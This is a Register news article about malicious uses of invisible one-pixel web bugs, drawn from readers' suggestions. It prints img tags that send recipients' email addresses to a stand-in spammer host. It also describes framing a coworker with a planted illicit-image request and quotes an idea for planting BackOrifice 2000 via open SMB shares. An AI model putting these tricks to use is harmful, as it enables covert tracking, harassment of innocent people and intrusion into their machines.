Feeds

Fun with Internet bugs

How to get your boss sacked

  • alert
  • submit to reddit

Designing a Defense for Mobile Applications

In a recent story we expressed scepticism over claims that the famous HTML bug - an invisible one-pixel image embedded in an HTML document or e-mail message referencing another image on a remote server - could be used for more than verifying e-mail addresses and garnering IPs.

We asked our readers to suggest more malicious uses, and while all agreed that this bug is rather limited (a mere spanner in the toolbox, so to speak), two produced ideas which we hadn't thought of, and which are, we have to admit, a little scary.

First, to use the bugs for e-mail verification, one might use a simple script to deliver the messages, each containing a unique ID number corresponding to an e-mail address in an existing database. The victim's e-mail client would call the 1x1 transparent GIF thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/e-mail.cgi?uniqueID#" >.

The e-mail.cgi then creates a new database of good e-mail addresses, the IPs used, etc., based on the unique ID number.

For a somewhat more direct approach, a simple query can be employed thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/verifyme?r00tarded@luser.edu" > or perhaps < img src="http://www.dirtbag-spammer.org/web-bug.gif?address=r00tarded@luser.edu" >.

Any e-mail opened would request the URL, and the e-mail addresses and IP numbers can be parsed and stored in a database.

Another use for the HTML bug is to track the distribution of documents within a company, e.g., a job-hunter distributing his resume. Everyone who opens the document will automatically connect quietly to the server where the image is stored, and server logs will show who did so.

For a very sweet dirty trick along those lines, one could embed a link to a porn picture on-line, resized at 1x1 so it's invisible in the e-mail. Network logs will show that a given employee requested, say, preteen_bestial.gif from www.loathsome-sex-offenders.com. Even better, if the company has spyware in place, the jack-booted network thugs won't even have to be notified by the trickster before grassing him out to senior management.

Honourable mention goes to Stefan for noting that cookies can be used and referenced with both e-mail addresses and with records easily purchased from consumer profiling outfits, to associate not only the e-mail with a living person and their real-life address, but also to track them on the Web.

"By placing the server that delivers the image in the same domain as, say, a banner ad network, it is possible to access the users cookies set by the ad network and thus associate a hitherto anonymous user profile with a working e-mail address. A lot of the Web bugs out there are already placed by or on behalf of well-known ad networks who hire "image space" on spam lists for this very purpose," he writes.

"Put this together with the data that can be purchased from a number of data mining outfits who specialize in deep geographical user profiling, and something as seemingly harmless as a 1x1 pixel image embedded in a mail message can be used to associate a Web sites visited by a user with a street address. In today's world of personalized e-commerce, such knowledge is worth serious money."

Nice one, that; but the coveted Register t-shirt goes to PinkFreud for this deliciously malevolent suggestion:

"Post a message on USENET with an IMG tag which points to a CGI script which returns a one-pixel image, while logging the IP as well as scanning for open, writable SMB shares, onto which one might, say, copy BackOrifice 2000 (C:\ share?). Installing it shouldn't be too hard - modify one of a few possible Windows files, and it should be installed on the next boot. Make it a bit more sophisticated, and the victim's system can e-mail you its IP address the next time it's on line."

Now that's what we call evil ingenuity. We knew our readers wouldn't let us down. ®

Grateful thanks to: Steven Hunter, Anthony Awtrey, Michael Herf, Karsten Self, Michael Ax, Colin Percival, David Lancaster, Rick McTeague, Alexis Rosen, Ray Shaw, Mark Yen, Steven Critchfield, PinkFreud, John Swindle, Martin Burns, Nathan Jones, André Mariën, Richard Parrott, Will MacDonald, Com2Kid, Matthew Duggan, Brian Baker, Russ Davies, Alan Frame, Justin Murdock, Daniel Barlow, Stefan, Mark Powell, Daniel Brandt, Jethro Brewin, Andrew Gallagher and two anonymous readers for their excellent submissions.

Related Link

Further details from the Privacy Foundation

Using blade systems to cut costs and sharpen efficiencies

More from The Register

next story
BBC goes offline in MASSIVE COCKUP: Stephen Fry partly muzzled
Auntie tight-lipped as major outage rolls on
iPad? More like iFAD: We reveal why Apple fell into IBM's arms
But never fear fanbois, you're still lapping up iPhones, Macs
Nadella: Apps must run on ALL WINDOWS – PCs, slabs and mobes
Phone egg, meet desktop chicken - your mother
HP, Microsoft prove it again: Big Business doesn't create jobs
SMEs get lip service - what they need is dinner at the Club
White? Male? You work in tech? Let us guess ... Twitter? We KNEW it!
Grim diversity numbers dumped alongside Facebook earnings
ITC: Seagate and LSI can infringe Realtek patents because Realtek isn't in the US
Land of the (get off scot) free, when it's a foreign owner
Dude, you're getting a Dell – with BITCOIN: IT giant slurps cryptocash
1. Buy PC with Bitcoin. 2. Mine more coins. 3. Goto step 1
There's NOTHING on TV in Europe – American video DOMINATES
Even France's mega subsidies don't stop US content onslaught
You! Pirate! Stop pirating, or we shall admonish you politely. Repeatedly, if necessary
And we shall go about telling people you smell. No, not really
prev story

Whitepapers

Designing a Defense for Mobile Applications
Learn about the various considerations for defending mobile applications - from the application architecture itself to the myriad testing technologies.
How modern custom applications can spur business growth
Learn how to create, deploy and manage custom applications without consuming or expanding the need for scarce, expensive IT resources.
Reducing security risks from open source software
Follow a few strategies and your organization can gain the full benefits of open source and the cloud without compromising the security of your applications.
Boost IT visibility and business value
How building a great service catalog relieves pressure points and demonstrates the value of IT service management.
Consolidation: the foundation for IT and business transformation
In this whitepaper learn how effective consolidation of IT and business resources can enable multiple, meaningful business benefits.